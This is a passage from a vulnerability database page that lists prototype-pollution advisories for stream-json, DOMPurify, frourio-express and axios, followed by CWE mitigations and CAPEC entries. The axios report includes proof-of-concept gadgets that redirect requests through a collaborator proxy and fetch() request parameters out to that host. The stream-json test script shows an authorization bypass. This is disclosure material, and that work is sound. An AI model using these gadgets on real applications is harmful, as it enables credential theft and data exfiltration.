plain\u0027, Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log(\u0027== C. VARIANT: array-valued __proto__ \u2192 parsed object becomes array-like ==\u0027);\ncheck(\u0027proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")\u0027, arrProto[0] === \u0027isAdmin\u0027 \u0026\u0026 arrProto[1] === \u0027role\u0027);\ncheck(\u0027legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)\u0027, arrProto[2] === \u0027bob\u0027 \u0026\u0026 arrProto.length === 3);\n\nconsole.log(\u0027== D. FAIL-CLOSED CONTROLS ==\u0027);\ncheck(\u0027primitive __proto__ value: no-op, plain proto (spec semantics)\u0027, Object.getPrototypeOf(prim) === Object.prototype \u0026\u0026 Object.keys(prim).length === 1);\ncheck(\u0027constructor key: harmless own prop\u0027, Object.prototype.hasOwnProperty.call(ctor, \u0027constructor\u0027) \u0026\u0026 ({}).polluted === undefined);\ncheck(\u0027NO GLOBAL Object.prototype pollution\u0027, ({}).polluted === undefined \u0026\u0026 ({}).isAdmin === undefined);\n\nconsole.log(\u0027== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==\u0027);\nconst authorize = o =\u003e o.isAdmin === true \u0026\u0026 o.role === \u0027superuser\u0027;\ncheck(\u0027authorize(stream-json obj) === true (GRANT)\u0027, authorize(sv1) === true);\ncheck(\u0027authorize(JSON.parse twin) === false (DENY \u2014 control)\u0027, authorize(baseline) === false);\nconst target = { theme: \u0027light\u0027 };\nfor (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)\ncheck(\u0027merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)\u0027,\n      Object.prototype.hasOwnProperty.call(target, \u0027isAdmin\u0027) \u0026\u0026 target.isAdmin === true);\nconst t2 = { theme: \u0027light\u0027 };\nfor (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean\ncheck(\u0027merge of JSON.parse twin has NO isAdmin (control)\u0027, !Object.prototype.hasOwnProperty.call(t2, \u0027isAdmin\u0027));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json \u003c= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local \u2014 stream-json\u0027s documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object\u0027s prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---",
  "id": "GHSA-mjw6-4jj6-33hc",
  "modified": "2026-10-05T22:49:19Z",
  "published": "2026-10-05T22:49:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uhop/stream-json"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/releases/tag/3.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects"
}

GHSA-MMHX-HMJR-R674

Vulnerability from github – Published: 2024-09-16 20:34 – Updated: 2024-09-16 22:37

Summary

DOMPurify allows tampering by prototype pollution

Details

It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.

This renders dompurify unable to avoid XSS attack.

Fixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).

Severity

7.0 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L

8.3 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-16T20:34:26Z",
    "nvd_published_at": "2024-09-16T19:16:11Z",
    "severity": "HIGH"
  },
  "details": "It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.\n\nThis renders dompurify unable to avoid XSS attack.\n\nFixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).",
  "id": "GHSA-mmhx-hmjr-r674",
  "modified": "2024-09-16T22:37:33Z",
  "published": "2024-09-16T20:34:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify allows tampering by prototype pollution"
}

GHSA-MMJ4-777P-FPQ9

Vulnerability from github – Published: 2022-02-07 22:38 – Updated: 2023-07-13 19:05

Summary

Validation bypass in frourio-express

Details

日本語

影響

v0.26.0以前のfrourioを使用している、かつvalidators/を利用している場合、ネストされたバリデータがリクエストのボディーとクエリに対して正しく働かないケースがあります。また、リクエストに対してバリデーションが効かなくなる入力があります。

パッチ

frourioをv0.26.0かそれ以降のバージョンにアップデートをお願いします。frourio を使用したプロジェクトには class-transformer と reflect-metadata の依存への追加も必要となります。

ワークアラウンド

controller側で自分でclass-transformerを使用してチェックする、vaildatorを使わない、など。

さらなる情報

このセキュリティ勧告に関する質問やコメントについては、以下の方法でお問い合わせいただけます。 * frourioにIssueを開く。

English

Impact

Frourio users who uses frourio version prior to v0.26.0 and integration with class-validator through validators/ folder. Validators does not work properly for request bodies and queries in specific situations. Addtionally, some kind of input is not validated. (false positives)

Patches

Please update your frourio to v0.26.0 or later. You also need to install class-transformer and reflect-metadata to your project.

Workarounds

Validate objects from request with class-transformer in controllers by yourself, or prevent using validators.

For more information

If you have any questions or comments about this advisory: * Open an issue in frourio

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "frourio-express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-07T22:38:37Z",
    "nvd_published_at": "2022-02-07T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "## \u65e5\u672c\u8a9e\n\n### \u5f71\u97ff\nv0.26.0\u4ee5\u524d\u306efrourio\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3001\u304b\u3064validators/\u3092\u5229\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u30cd\u30b9\u30c8\u3055\u308c\u305f\u30d0\u30ea\u30c7\u30fc\u30bf\u304c\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u30dc\u30c7\u30a3\u30fc\u3068\u30af\u30a8\u30ea\u306b\u5bfe\u3057\u3066\u6b63\u3057\u304f\u50cd\u304b\u306a\u3044\u30b1\u30fc\u30b9\u304c\u3042\u308a\u307e\u3059\u3002\u307e\u305f\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3057\u3066\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u304c\u52b9\u304b\u306a\u304f\u306a\u308b\u5165\u529b\u304c\u3042\u308a\u307e\u3059\u3002\n\n### \u30d1\u30c3\u30c1\nfrourio\u3092v0.26.0\u304b\u305d\u308c\u4ee5\u964d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u304a\u9858\u3044\u3057\u307e\u3059\u3002frourio \u3092\u4f7f\u7528\u3057\u305f\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u306f `class-transformer` \u3068 `reflect-metadata` \u306e\u4f9d\u5b58\u3078\u306e\u8ffd\u52a0\u3082\u5fc5\u8981\u3068\u306a\u308a\u307e\u3059\u3002\n\n### \u30ef\u30fc\u30af\u30a2\u30e9\u30a6\u30f3\u30c9\ncontroller\u5074\u3067\u81ea\u5206\u3067class-transformer\u3092\u4f7f\u7528\u3057\u3066\u30c1\u30a7\u30c3\u30af\u3059\u308b\u3001vaildator\u3092\u4f7f\u308f\u306a\u3044\u3001\u306a\u3069\u3002\n\n### \u3055\u3089\u306a\u308b\u60c5\u5831\n\n\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u52e7\u544a\u306b\u95a2\u3059\u308b\u8cea\u554f\u3084\u30b3\u30e1\u30f3\u30c8\u306b\u3064\u3044\u3066\u306f\u3001\u4ee5\u4e0b\u306e\u65b9\u6cd5\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u3044\u305f\u3060\u3051\u307e\u3059\u3002\n* [frourio](https://github.com/frouriojs/frourio)\u306bIssue\u3092\u958b\u304f\u3002\n\n## English\n\n### Impact\nFrourio users who uses frourio version prior to v0.26.0 and integration with class-validator through `validators/` folder. Validators does not work properly for request bodies and queries in specific situations. Addtionally, some kind of input is not validated. (false positives)\n\n### Patches\nPlease update your frourio to v0.26.0 or later. You also need to install `class-transformer` and `reflect-metadata` to your project.\n\n### Workarounds\nValidate objects from request with class-transformer in controllers by yourself, or prevent using validators.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [frourio](https://github.com/frouriojs/frourio)\n",
  "id": "GHSA-mmj4-777p-fpq9",
  "modified": "2023-07-13T19:05:32Z",
  "published": "2022-02-07T22:38:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/frouriojs/frourio-express/security/advisories/GHSA-mmj4-777p-fpq9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23624"
    },
    {
      "type": "WEB",
      "url": "https://github.com/frouriojs/frourio-express/commit/73ded5c6f9f1c126c0cb2d05c0505e9e4db142d2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/frouriojs/frourio-express"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Validation bypass in frourio-express"
}

GHSA-MMX7-HFXF-JPPX

Vulnerability from github – Published: 2026-07-20 22:25 – Updated: 2026-08-31 19:51

Summary

Axios: Prototype pollution gadgets can alter axios request construction

Details

Summary

axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.

Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+.

Impact

An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS.

For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.

For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+.

Affected Functionality

Affected normal API:

axios.get(url[, config])
axios.delete(url[, config])
axios.head(url[, config])
axios.options(url[, config])

Affected low-level usage:

Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy.
Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer.

Unaffected or corrected scope:

Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads.

Technical Details

lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter.

lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1.

The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values.

Proof of Concept of Attack

import http from 'http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let body = '';

  req.on('data', chunk => {
    body += chunk;
  });

  req.on('end', () => {
    res.writeHead(200, {'content-type': 'application/json'});
    res.end(JSON.stringify({body, headers: req.headers}));
  });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.data = 'INJECTED';

try {
  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);

  console.log(res.data.body); // "INJECTED"
  console.log(res.data.headers['content-length']); // "8"
} finally {
  delete Object.prototype.data;
  await new Promise(resolve => server.close(resolve));
}

Expected result: a request body is sent even though the caller did not explicitly set config.data.

Workarounds

Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern.

Original Report ### Summary Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests. ### Details The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: `config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. `(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. `config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage. ### PoC Ran against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.

import axios from 'axios';

// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header

// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body

// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
  return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });

### Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:25:07Z",
    "nvd_published_at": "2026-08-06T22:18:25Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = \u0027\u0027;\n\n  req.on(\u0027data\u0027, chunk =\u003e {\n    body += chunk;\n  });\n\n  req.on(\u0027end\u0027, () =\u003e {\n    res.writeHead(200, {\u0027content-type\u0027: \u0027application/json\u0027});\n    res.end(JSON.stringify({body, headers: req.headers}));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nObject.prototype.data = \u0027INJECTED\u0027;\n\ntry {\n  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n  console.log(res.data.body); // \"INJECTED\"\n  console.log(res.data.headers[\u0027content-length\u0027]); // \"8\"\n} finally {\n  delete Object.prototype.data;\n  await new Promise(resolve =\u003e server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted  function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from \u0027axios\u0027;\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: \u0027yourcollab.oastify.com\u0027, port: 8080, protocol: \u0027http\u0027 };\nawait axios.get(\u0027https://api.example.com/user\u0027, { headers: { Authorization: \u0027Bearer sk-test-1234567890\u0027 } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = \u0027{\"injected\":true}\u0027;\nawait axios.get(\u0027https://api.example.com/items\u0027);\nawait axios.delete(\u0027https://api.example.com/items/1\u0027);\nawait axios.head(\u0027https://api.example.com/items\u0027);\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) =\u003e {\n  fetch(\u0027https://yourcollab.oastify.com/?\u0027 + new URLSearchParams(p));\n  return \u0027q=x\u0027;\n};\nawait axios.get(\u0027https://api.example.com/search\u0027, { params: { token: \u0027secret\u0027 } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n\u003c/details\u003e",
  "id": "GHSA-mmx7-hfxf-jppx",
  "modified": "2026-08-31T19:51:32Z",
  "published": "2026-07-20T22:25:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67316"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.33.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Prototype pollution gadgets can alter axios request construction"
}

Mitigation

Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation

Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation

Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation

Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation

Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list